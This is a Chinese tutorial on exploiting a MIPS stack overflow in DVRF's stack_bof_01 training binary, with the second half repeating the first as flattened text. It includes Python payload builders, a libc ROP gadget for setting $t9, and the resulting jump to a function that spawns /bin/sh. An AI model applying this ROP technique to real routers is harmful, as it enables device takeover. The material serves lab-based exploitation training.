一步一步PWN路由器之栈溢出实战
字数 1399 2025-08-22 12:22:24

MIPS架构栈溢出漏洞利用实战教程

前言

本教程以DVRF项目中的stack_bof_01漏洞程序为例,详细讲解在MIPS架构下栈溢出漏洞的利用方法。通过本教程,您将学习到MIPS架构下栈溢出的基本原理、利用技巧以及与传统x86架构利用方式的差异。

环境准备

  1. 获取DVRF项目

    • 从GitHub下载DVRF(Damn Vulnerable Router Firmware)项目
    • 使用binwalk工具解压固件:binwalk -e <固件文件>
  2. 目标程序位置

    • 解压后在pwnable/Intro/目录下找到stack_bof_01程序
  3. 运行环境

    • 使用chroot和qemu模拟运行:
      sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat ./pwnable/Intro/input`"
      
    • 使用cat命令读取文件作为命令行参数,便于输入不可见字符

漏洞分析

stack_bof_01是一个典型的栈溢出漏洞程序:

  • 程序将用户从命令行传入的参数直接使用strcpy拷贝到栈缓冲区
  • 没有进行长度检查,导致可以覆盖栈上的返回地址
  • 经过调试,输入204个字符后可以覆盖到ra寄存器保存到栈上的值

基础利用尝试

  1. 构造初始payload

    #!/usr/bin/python
    padding = "O" * 204
    payload = padding + "B"*4
    with open("input", "wb") as f:
        f.write(payload)
    
    • 204个字符填充缓冲区
    • 4个"B"字符覆盖返回地址
  2. 尝试直接跳转到目标函数

    • 程序中包含一个执行system("/bin/sh")的函数dat_shell
    • 在x86架构下,直接覆盖返回地址为dat_shell地址即可
    • 但在MIPS架构下直接跳转会引发异常

MIPS架构特性与利用难点

  1. MIPS架构的特殊性

    • 函数内部通过$t9$gp寄存器访问数据和地址
    • MIPS手册规定$t9默认应为当前函数的起始地址
    • 直接跳转会导致$t9不正确,引发非法内存访问
  2. 解决方案

    • 需要先用ROP gadget设置$t9寄存器
    • 然后跳转到dat_shell函数
  3. 关键ROP gadget

    • 在libc中可以找到如下gadget:
      .text:00006B20 lw $t9, arg_0($sp)
      .text:00006B24 jalr $t9
      
    • 该gadget从栈上加载$t9的值,然后跳转到$t9指向的地址

完整利用流程

  1. 获取libc基地址

    • 由于qemu模拟无法查看maps,需要通过打印GOT表函数指针计算libc基地址
    • 计算gadget的实际地址 = libc基地址 + gadget偏移(0x6B20)
  2. 构造最终payload

    #!/usr/bin/python
    padding = "O" * 204
    gadget1 = "\x20\xbb\x6e\x76"  # gadget地址,小端序
    dat_shell_addr = "\x50\x09\x40"  # dat_shell函数地址,部分覆盖
    payload = padding + gadget1 + dat_shell_addr
    with open("input", "wb") as f:
        f.write(payload)
    
  3. 利用步骤

    • 覆盖返回地址为ROP gadget地址
    • gadget从栈上加载dat_shell地址到$t9
    • 跳转到dat_shell执行system("/bin/sh")

关键知识点总结

  1. MIPS架构特性

    • $t9寄存器必须设置为函数起始地址才能正确执行
    • 函数调用依赖$t9$gp寄存器进行数据访问
  2. ROP利用技巧

    • 必须使用jalr $t9类gadget确保进入函数后$t9正确
    • 需要先设置$t9再跳转到目标函数
  3. 调试工具差异

    • IDA反汇编MIPS程序时默认$t9为函数起始地址,可能导致分析困惑
    • pwndbg和radare2等工具不会做这种假设

参考资源

通过本教程,您应该已经掌握了MIPS架构下栈溢出漏洞的基本利用方法。实际环境中可能需要根据具体情况调整偏移量和gadget选择,但核心原理保持不变。

MIPS架构栈溢出漏洞利用实战教程 前言 本教程以DVRF项目中的 stack_bof_01 漏洞程序为例,详细讲解在MIPS架构下栈溢出漏洞的利用方法。通过本教程,您将学习到MIPS架构下栈溢出的基本原理、利用技巧以及与传统x86架构利用方式的差异。 环境准备 获取DVRF项目 : 从GitHub下载DVRF(Damn Vulnerable Router Firmware)项目 使用binwalk工具解压固件: binwalk -e <固件文件> 目标程序位置 : 解压后在 pwnable/Intro/ 目录下找到 stack_bof_01 程序 运行环境 : 使用chroot和qemu模拟运行: 使用cat命令读取文件作为命令行参数,便于输入不可见字符 漏洞分析 stack_bof_01 是一个典型的栈溢出漏洞程序: 程序将用户从命令行传入的参数直接使用 strcpy 拷贝到栈缓冲区 没有进行长度检查,导致可以覆盖栈上的返回地址 经过调试,输入204个字符后可以覆盖到ra寄存器保存到栈上的值 基础利用尝试 构造初始payload : 204个字符填充缓冲区 4个"B"字符覆盖返回地址 尝试直接跳转到目标函数 : 程序中包含一个执行 system("/bin/sh") 的函数 dat_shell 在x86架构下,直接覆盖返回地址为 dat_shell 地址即可 但在MIPS架构下直接跳转会引发异常 MIPS架构特性与利用难点 MIPS架构的特殊性 : 函数内部通过 $t9 和 $gp 寄存器访问数据和地址 MIPS手册规定 $t9 默认应为当前函数的起始地址 直接跳转会导致 $t9 不正确,引发非法内存访问 解决方案 : 需要先用ROP gadget设置 $t9 寄存器 然后跳转到 dat_shell 函数 关键ROP gadget : 在libc中可以找到如下gadget: 该gadget从栈上加载 $t9 的值,然后跳转到 $t9 指向的地址 完整利用流程 获取libc基地址 : 由于qemu模拟无法查看maps,需要通过打印GOT表函数指针计算libc基地址 计算gadget的实际地址 = libc基地址 + gadget偏移(0x6B20) 构造最终payload : 利用步骤 : 覆盖返回地址为ROP gadget地址 gadget从栈上加载 dat_shell 地址到 $t9 跳转到 dat_shell 执行 system("/bin/sh") 关键知识点总结 MIPS架构特性 : $t9 寄存器必须设置为函数起始地址才能正确执行 函数调用依赖 $t9 和 $gp 寄存器进行数据访问 ROP利用技巧 : 必须使用 jalr $t9 类gadget确保进入函数后 $t9 正确 需要先设置 $t9 再跳转到目标函数 调试工具差异 : IDA反汇编MIPS程序时默认 $t9 为函数起始地址,可能导致分析困惑 pwndbg和radare2等工具不会做这种假设 参考资源 Firmware Exploitation with JEB Part 1 DVRF项目GitHub仓库 MIPS架构参考手册 通过本教程,您应该已经掌握了MIPS架构下栈溢出漏洞的基本利用方法。实际环境中可能需要根据具体情况调整偏移量和gadget选择,但核心原理保持不变。